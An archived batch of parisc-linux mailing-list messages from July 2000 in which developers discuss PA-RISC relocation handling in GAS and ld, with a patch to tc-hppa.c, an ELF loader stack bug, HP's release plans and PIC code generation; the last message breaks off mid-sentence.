Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 14 Jul 2000 16:52:07 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id KAA01994;
	Fri, 14 Jul 2000 10:39:22 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of 14 Jul 2000 12:10:16 EDT.
             <87hf9szo9j.fsf@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7573


  In message <87hf9szo9j.fsf@linuxcare.com>you write:
  > Jeffrey A Law <law@cygnus.com> writes:
  > 
  > > How/why is ld -r changing the addends?  That seems wrong at first glance.
  > 
  > The relocations in question are specified as <.data+0xf00>, and thus,
  > as far as I can tell, it has to change the addends since there is no
  > symbol value within .data that it can update.
Either we need to avoid merging the section symbols to avoid twiddling
the addend, or we need to avoid reducing relocs to section symbols to
begin with.

jeff


From - Thu Nov 08 21:12:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-bootable kernel problems
Date: 14 Jul 2000 14:53:23 -0400
Organization: Linuxcare, Inc.
Lines: 21
Approved: news@gmane.org
Message-ID: <87aefkzgpo.fsf@linuxcare.com>
References: <1991.963592762@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619008 1767 80.91.229.3 (22 Nov 2014 01:16:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:48 +0000 (UTC)
Cc: Alan Modra <amodra@linuxcare.com.au>, parisc-linux@thepuffingroup.com
To: law@cygnus.com
Original-X-From: dhd@linuxcare.com  Fri Jul 14 12:53:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA25133
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Jul 2000 12:53:19 -0600
Original-Received: (qmail 20318 invoked by uid 15267); 14 Jul 2000 18:54:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20310 invoked from network); 14 Jul 2000 18:54:55 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 14 Jul 2000 18:54:55 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13DAaR-0003Ry-00; Fri, 14 Jul 2000 14:53:23 -0400
In-Reply-To: Jeffrey A Law's message of "Fri, 14 Jul 2000 10:39:22 -0600"
Original-Lines: 20
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7574

Jeffrey A Law <law@cygnus.com> writes:

> Either we need to avoid merging the section symbols to avoid twiddling
> the addend, or we need to avoid reducing relocs to section symbols to
> begin with.

We only reduce relocations to section symbols for static data.  It
seems that every other platform I've investigated (Sparc, PowerPC,
Alpha) does the same thing, so, while I think it would be possible to
not reduce them on PA, I'm not sure what the unintended side effects
would be.

As for not merging section symbols ... I'm not sure how that would be
done, but if it's the only option I guess we can figure it out.

Alan: any thoughts on this?

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-bootable kernel problems
Date: 14 Jul 2000 16:40:36 -0400
Organization: Linuxcare, Inc.
Lines: 41
Approved: news@gmane.org
Message-ID: <8766q8zbqz.fsf@linuxcare.com>
References: <1991.963592762@upchuck> <87aefkzgpo.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619008 1768 80.91.229.3 (22 Nov 2014 01:16:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:48 +0000 (UTC)
Cc: Alan Modra <amodra@linuxcare.com.au>, parisc-linux@thepuffingroup.com
To: law@cygnus.com
Original-X-From: dhd@linuxcare.com  Fri Jul 14 14:40:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA26379
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Jul 2000 14:40:36 -0600
Original-Received: (qmail 20459 invoked by uid 15267); 14 Jul 2000 20:42:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20438 invoked from network); 14 Jul 2000 20:42:11 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 14 Jul 2000 20:42:11 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13DCGC-0004z1-00; Fri, 14 Jul 2000 16:40:37 -0400
In-Reply-To: David Huggins-Daines's message of "14 Jul 2000 14:53:23 -0400"
Original-Lines: 40
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7575

David Huggins-Daines <dhd@linuxcare.com> writes:

> Jeffrey A Law <law@cygnus.com> writes:
> 
> > Either we need to avoid merging the section symbols to avoid twiddling
> > the addend, or we need to avoid reducing relocs to section symbols to
> > begin with.
> 
> We only reduce relocations to section symbols for static data.  It
> seems that every other platform I've investigated (Sparc, PowerPC,
> Alpha) does the same thing

Wait.  I'm wrong.  PowerPC doesn't:

static struct foo {
  int a;
  int b;
} a = {
  a: 42,
  b: 69
};

int main()
{
  gar(&a.b);
  ...
}

Compiles to:

  4c:	3d 20 00 00 	lis	r9,0
			4e: R_PPC_ADDR16_HA	a+0x4
  50:	38 69 00 04 	addi	r3,r9,4
			52: R_PPC_ADDR16_LO	a+0x4

Okay, I'll investigate this approach.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: GAS fix for reloc problems (was Re: [parisc-linux] Non-bootable kernel problems)
Date: 14 Jul 2000 18:14:15 -0400
Organization: Linuxcare, Inc.
Lines: 78
Approved: news@gmane.org
Message-ID: <87zonkxsug.fsf_-_@linuxcare.com>
References: <1991.963592762@upchuck> <87aefkzgpo.fsf@linuxcare.com> <8766q8zbqz.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619009 1772 80.91.229.3 (22 Nov 2014 01:16:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:49 +0000 (UTC)
Cc: Alan Modra <amodra@linuxcare.com.au>, parisc-linux@thepuffingroup.com
To: law@cygnus.com
Original-X-From: dhd@linuxcare.com  Fri Jul 14 16:14:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA27669
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Jul 2000 16:14:13 -0600
Original-Received: (qmail 31161 invoked by uid 15267); 14 Jul 2000 22:15:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31145 invoked from network); 14 Jul 2000 22:15:49 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 14 Jul 2000 22:15:49 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13DDip-0005ld-00; Fri, 14 Jul 2000 18:14:15 -0400
In-Reply-To: David Huggins-Daines's message of "14 Jul 2000 16:40:36 -0400"
Original-Lines: 77
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7576

David Huggins-Daines <dhd@linuxcare.com> writes:

> David Huggins-Daines <dhd@linuxcare.com> writes:
> 
> > Jeffrey A Law <law@cygnus.com> writes:
> > 
> > > Either we need to avoid merging the section symbols to avoid twiddling
> > > the addend, or we need to avoid reducing relocs to section symbols to
> > > begin with.
> Okay, I'll investigate this approach.

Done.  PA-RISC porters, update your binutils-2.10 and GCC. (again :-)

Here's the patch, which I've committed to puffin CVS (I've
reverted the incorrect GCC changes):

2000-07-14  David Huggins-Daines  <dhd@linuxcare.com>

	* config/tc-hppa.c (hppa_fix_adjustable): Reject reductions of
	sym-sym2 expressions as well as LR% and RR% fields on ELF targets
	as well.

Index: tc-hppa.c
===================================================================
RCS file: /home/cvs/parisc/binutils-2.10/gas/config/tc-hppa.c,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -r1.12 -r1.13
--- tc-hppa.c	2000/07/11 14:02:15	1.12
+++ tc-hppa.c	2000/07/14 21:48:42	1.13
@@ -8369,10 +8369,25 @@
   /* Reject reductions of symbols in 32bit relocs.  */
   if (fixp->fx_r_type == R_HPPA && hppa_fix->fx_r_format == 32)
     return 0;
+#endif
 
   /* Reject reductions of symbols in sym1-sym2 expressions when
      the fixup will occur in a CODE subspace.
 
+     NOTE: We want to reject these for ELF targets as well, because
+     otherwise we will lose in the case of 21L and 14R
+     relocations.  (FIXME: will this break ELF64 targets?)
+
+     This is because, since the symbols are reduced, the linker has no
+     choice but to manipulate the addends when coalescing input .data
+     sections.  Because the 32-bit ABI requires the compiler to
+     pre-round LR% field selectors, this means we end up with
+     different addends for the left and right relocations.  Because of
+     the way LR% and RR% field selectors work, it's possible that the
+     RR% field will turn negative without the LR% field being rounded
+     accordingly, and your Linux kernel crashes mysteriously.
+     - dhd@linuxcare.com, 2000-07-14
+
      XXX FIXME: Long term we probably want to reject all of these;
      for example reducing in the debug section would lose if we ever
      supported using the optimizing hp linker.  */
@@ -8386,12 +8401,14 @@
     }
 
   /* We can't adjust any relocs that use LR% and RR% field selectors.
-     That confuses the HP linker.  */
+     That confuses the HP linker.
+
+     FIXME: do we actually need to do this for ELF32/GNU ld as well?
+     What about ELF64? */
   if (hppa_fix->fx_r_field == e_lrsel
       || hppa_fix->fx_r_field == e_rrsel
       || hppa_fix->fx_r_field == e_nlrsel)
     return 0;
-#endif
 
   /* Reject reductions of symbols in DLT relative relocs,
      relocations with plabels.  */

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-bootable kernel problems
Date: Sat, 15 Jul 2000 11:31:58 +1000 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0007151118490.23959-100000@front.linuxcare.com.au>
References: <87aefkzgpo.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619009 1774 80.91.229.3 (22 Nov 2014 01:16:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:49 +0000 (UTC)
Cc: Jeffrey A Law <law@cygnus.com>, parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Fri Jul 14 19:30:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA29537
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Jul 2000 19:30:36 -0600
Original-Received: (qmail 21029 invoked by uid 15267); 15 Jul 2000 01:32:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21014 invoked from network); 15 Jul 2000 01:32:11 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 15 Jul 2000 01:32:11 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA24468;
	Sat, 15 Jul 2000 11:31:58 +1000
In-Reply-To: <87aefkzgpo.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7577

On 14 Jul 2000, David Huggins-Daines wrote:

> Alan: any thoughts on this?

My first thoughts when I read Jeff's email about my proposed removal of
the gcc hack for the hpux linker were along the lines of "two wrongs don't
make a right, so it's not surprising that ld -r is tripped up".  That was
late last night just before I went to bed, and I'm glad I didn't reply
then, as Jeff is quite correct.  The way those LR and RR field selectors
work means that a reloc addend cannot be modified under any circumstances.
Even if the gcc hack was removed, the linker would still do the wrong
thing with certain cases of one instruction with LR selector combined with
multiple instructions using RR selectors.  Gross.

I'm not sure why the assembler is specifying the relocs against a sections
symbols - it's something I've noticed on x86 for a long time, and never
bothered to figure out why, as it didn't cause any problem.  I'll have a
look.

Regards, Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: GAS fix for reloc problems (was Re: [parisc-linux] Non-bootable
 kernel problems)
Date: Sat, 15 Jul 2000 18:33:28 +1000 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0007151813150.23959-100000@front.linuxcare.com.au>
References: <87zonkxsug.fsf_-_@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619009 1780 80.91.229.3 (22 Nov 2014 01:16:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Sat Jul 15 02:32:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA17247
	for <parisc-linux@puffin.external.hp.com>; Sat, 15 Jul 2000 02:32:00 -0600
Original-Received: (qmail 32717 invoked by uid 15267); 15 Jul 2000 08:33:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32706 invoked from network); 15 Jul 2000 08:33:36 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 15 Jul 2000 08:33:36 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA31318;
	Sat, 15 Jul 2000 18:33:28 +1000
In-Reply-To: <87zonkxsug.fsf_-_@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7578

On 14 Jul 2000, David Huggins-Daines wrote:

> Done.  PA-RISC porters, update your binutils-2.10 and GCC. (again :-)

Just a note on the patch.  This particular bug existed in the elf hppa
assembler long before anyone tried porting linux to parisc - it's not
specific to the kernel.  David's fix may just happen to cure some userland
problems too.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FINK,MARTIN \(HP-FtCollins,ex1\)" <martin_fink@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] When
Date: Sun, 16 Jul 2000 14:06:34 -0600
Lines: 51
Approved: news@gmane.org
Message-ID: <56D553C0B61BD311AD2300A0C9F485C2066C17B6@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619010 1782 80.91.229.3 (22 Nov 2014 01:16:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:50 +0000 (UTC)
To: "'Gyula Matics'" <mgyula@pi.satimex.tvnet.hu>,
        parisc-linux@thepuffingroup.com
Original-X-From: martin_fink@hp.com  Sun Jul 16 14:05:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA14925
	for <parisc-linux@puffin.external.hp.com>; Sun, 16 Jul 2000 14:05:08 -0600
Original-Received: (qmail 31531 invoked by uid 15267); 16 Jul 2000 20:06:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31520 invoked from network); 16 Jul 2000 20:06:43 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 16 Jul 2000 20:06:43 -0000
Original-Received: from amrelay2.boi.hp.com (amrelay2.boi.hp.com [15.56.8.41])
	by palrel1.hp.com (Postfix) with ESMTP
	id F1179EA5; Sun, 16 Jul 2000 13:06:37 -0700 (PDT)
Original-Received: from xboibrg2.boi.hp.com (xboibrg2.boi.hp.com [15.56.8.172])
	by amrelay2.boi.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with SMTP id OAA23114;
	Sun, 16 Jul 2000 14:06:36 -0600 (MDT)
Original-Received: from 15.56.8.172 by xboibrg2.boi.hp.com (InterScan E-Mail VirusWall NT); Sun, 16 Jul 2000 14:06:36 -0600 (Mountain Daylight Time)
Original-Received: by xboibrg2.cv.hp.com with Internet Mail Service (5.5.2650.21)
	id <309A2TXK>; Sun, 16 Jul 2000 14:06:36 -0600
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:7579

Here are the current plans for PA/Linux.  Given that this effort
is being driven both by HP and the Open Source community, these
plans are subject to change.

Linux support for PA-RISC is being phased-in over the rest of 2000.
A 32-bit developer's release will be available in August, with a 
32-bit beta available soon after. In Q4 of 2000, there will be a 
Debian 64-bit production release that will be supported on HP 9000 
A500 & A400 servers, as well as HP 9000 L1000 and L2000 servers.  
The release will 	be available for download and also on CD.  It not 
available as a pre-installed option.

Martin

+=================================================================+
| Martin Fink                 | E-mail: martin_fink@hp.com        |
| UNIX Systems Enablement Lab | Phone:  970-898-7076              |
| Hewlett-Packard Co.         | FAX:    970-898-2838              |
| 3404 East Harmony Road      | Mobile: 970-215-2451              |
| MS 42 - Ft. Collins, CO     | Page:   9702152451@mobile.att.net |
| 80528, USA                  | Web:    http://usel.fc.hp.com/    |
+=================================================================+    
 

> -----Original Message-----
> From: Gyula Matics [mailto:mgyula@pi.satimex.tvnet.hu]
> Sent: Thursday, July 13, 2000 12:09 PM
> To: parisc-linux@thepuffingroup.com
> Subject: Re: [parisc-linux] When
> 
> 
> 
> ...did you noticed that the A[45]00 product brief lists Linux as a
> supported OS? (you can find it at www.hp.com/go/aclass)
> 
> I had a worrying sales type coming to my desk yesterday asking more or
> less the same question that Dave did. There are people trying to order
> A class servers with Linux preinstalled.
> 
> Told him to come back in October. That's about right for the first
> somewhat useable Debian release, isn't it?
> 
> Gyula
> 
> --------------------------------------------------------------
> -------------
> To unsubscribe: send e-mail to 
> parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 


From - Thu Nov 08 21:12:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ELF loader is badly broken
Date: 17 Jul 2000 19:31:34 -0400
Organization: Linuxcare, Inc.
Lines: 48
Approved: news@gmane.org
Message-ID: <87em4swcyx.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619010 1787 80.91.229.3 (22 Nov 2014 01:16:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Mon Jul 17 17:31:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA11750
	for <parisc-linux@puffin.external.hp.com>; Mon, 17 Jul 2000 17:31:37 -0600
Original-Received: (qmail 29319 invoked by uid 15267); 17 Jul 2000 23:33:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29302 invoked from network); 17 Jul 2000 23:33:14 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 17 Jul 2000 23:33:14 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13EKMJ-000157-00
	for <parisc-linux@thepuffingroup.com>; Mon, 17 Jul 2000 19:31:35 -0400
Original-Lines: 47
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7580

Hi,

Basically it's pure chance that our ELF binary loader works at all.

The reason I say this is that we do not make sure that we actually map
in pages for the initial stack frame containing argc, argv, and
various ELF info, and, since the stack grows upwards while the frame
grows downwards, we often end up spilling over into unmapped memory in
create_elf_tables() when putting the pointers in argv and envp on the
stack.

The reason it actually works at all is that we *do* map these pages
when copying in the actual argc and argv strings, and therefore, if
there happens to be enough space left on the last page of strings (as
there nearly always is if the environment and argument vectors are
short enough and contain small enough strings), we manage to do okay.

I *think* that the reason the code works on other architectures is
that, since both their stacks and stack frames grow downwards, a page
fault in create_elf_tables() will Do The Right Thing by just
allocating more stack space.  Of course I could be totally wrong about
that...

In any case we probably need a special dispensation in the binary
loader code for our up-growing stacks and down-growing frames.  It
seems to me like we can either:

 1) Make a special #ifdef __hppa__ (yuck) in exec.c (or somewhere - I
    don't suppose there are any hooks for this sort of thing ... or
    for that matter any other supported architectures with up-growing
    stacks) to leave enough room for the argv and envp and associated
    bits that get put there by the binfmt stuff.

 2) Make an exception in the page fault handler (or probably in
    expand_stack(), I tried setting the VM_GROWSDOWN flag on it and
    that clearly wasn't enough) to the stack-growing-up-rule for the
    initial stack frame's VMA, for at least as long as it takes us to
    populate it with pointers.

If (2) actually works, it should be the better solution, I think,
because it means we don't have to second-guess the amount of crap the
binary format loaders are going to put on the stack for us.  Someone
who isn't an idiot like me can maybe comment further :-)

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Help Apollo serie 700
Date: Tue, 18 Jul 2000 08:06:51 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20000718080651.C3150@vodka.thepuffingroup.com>
References: <39733B8F.9311D5C3@prescom.fr> <20000717163745.A3150@vodka.thepuffingroup.com> <20000718085033.E800@niksula.cs.hut.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619010 1789 80.91.229.3 (22 Nov 2014 01:16:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:50 +0000 (UTC)
Cc: linux-kernel@vger.rutgers.edu, parisc-linux@thepuffingroup.com
To: Ville Herva <vherva@mail.niksula.cs.hut.fi>
Original-X-From: willy@thepuffingroup.com  Tue Jul 18 07:10:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA02848
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Jul 2000 07:10:32 -0600
Original-Received: (qmail 1205 invoked by uid 15267); 18 Jul 2000 13:12:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1178 invoked from network); 18 Jul 2000 13:12:13 -0000
Original-Received: from ottawa.linuxcare.com (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 18 Jul 2000 13:12:13 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id IAA04698;
	Tue, 18 Jul 2000 08:06:51 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000718085033.E800@niksula.cs.hut.fi>; from Ville Herva on Tue, Jul 18, 2000 at 08:50:33AM +0300
Xref: news.gmane.org gmane.linux.ports.parisc:7581

On Tue, Jul 18, 2000 at 08:50:33AM +0300, Ville Herva wrote:
> On Mon, Jul 17, 2000 at 04:37:45PM -0400, you [Matthew Wilcox] claimed:
> > On Mon, Jul 17, 2000 at 06:59:59PM +0200, fbarthe@prescom.fr wrote:
> > 
> > > Any distribution including thid version of kernel ?
> > 
> > not yet.  we're working towards having debian/parisc available as soon as
> > possible.
> 
> How far is that anyway? What short of expertice would you say is needed to
> play with linux/pa-risc today? The Puffin Group status page wasn't too
> verbose when I last cheched. (A friend of mine has a couple of 7xx's that
> are currently doing nothing useful...)

we have a cross toolchain working; most of the fileutils, textutils,
shellutils packages, fdisk, e2fsprogs, mount, and probably a few other
random programs.  yesterday, we found out why native gcc was crashing
the kernel; today we're trying to figure out why it still doesn't work
now that this bug is kludged around.

you need to be confident at compiling things and be able to track down
what's gone wrong when things don't compile in order to be useful at
this time.

i'm fiddling with the website right now and i'll see what i can do in
the way of clarity.  constructive criticism welcomed.

-- 
The Sex Pistols were revolutionaries.  The Bay City Rollers weren't.


From - Thu Nov 08 21:12:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PIC code generation in gcc/binutils
Date: 18 Jul 2000 13:58:53 -0400
Organization: Linuxcare, Inc.
Lines: 47
Approved: news@gmane.org
Message-ID: <8766q3uxpe.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619011 1794 80.91.229.3 (22 Nov 2014 01:16:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Tue Jul 18 11:59:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA06428
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Jul 2000 11:59:07 -0600
Original-Received: (qmail 581 invoked by uid 15267); 18 Jul 2000 18:00:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 574 invoked from network); 18 Jul 2000 18:00:45 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 18 Jul 2000 18:00:45 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13Ebdt-00042y-00; Tue, 18 Jul 2000 13:58:53 -0400
Original-Lines: 46
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7582

Hi Alan, other porters,

I'm at the point now (userland mostly works for me as does the 64-bit
toolchain) where I'd like to start working on the implementation of
ELF dynamic linking for hppa-linux.  Obviously the precondition for
this is a working PIC code model in GCC and binutils.

I was hoping to write up a preliminary ABI specification based on the
64-bit ELF implementation on HP/UX, so I've been trying to find
detailed specifications on how the ELF64 ABI actually works but so far
have not come up with much information from HP's documentation.  The
64-bit runtime architecture document has some useful information, but
I suspect I'll have to look at the actual implementation to nail down
the details.

One thing I am sure of is that if we try to follow the HP/UX ELF64
specification for dynamic linking on 32-bit Linux we are going to be
substantially different from other Linux/ELF platforms.  In
particular, the handling of inter-module calls and function pointers,
and the management of the GP, are done in a totally different way from
